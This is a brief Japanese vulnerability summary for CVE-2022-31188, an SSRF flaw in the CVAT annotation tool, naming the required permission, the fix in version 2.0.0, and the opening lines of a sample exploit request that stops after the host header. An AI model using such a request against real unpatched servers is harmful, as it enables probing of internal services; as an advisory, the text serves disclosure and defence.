CVE-2022-31188

CVE-2022-31188 CVE-2022-31188 - OpenCV CVAT（コンピュータビジョンアノテーションツール）SSRF CVATは、Intelが開発したオープンソースのコンピュータビジョンアノテーションツールです。 「Task Create」権限を持つユーザーは、悪意のあるHTTPリクエストを送信し、システム上の他のオープンポートにアクセスすることで、SSRFの脆弱性を発動できます。 この脆弱性はCVATの2.0.0アップデートで修正されました。 POST /api/v1/tasks/2/data HTTP/1.1 Host: localhost:8080...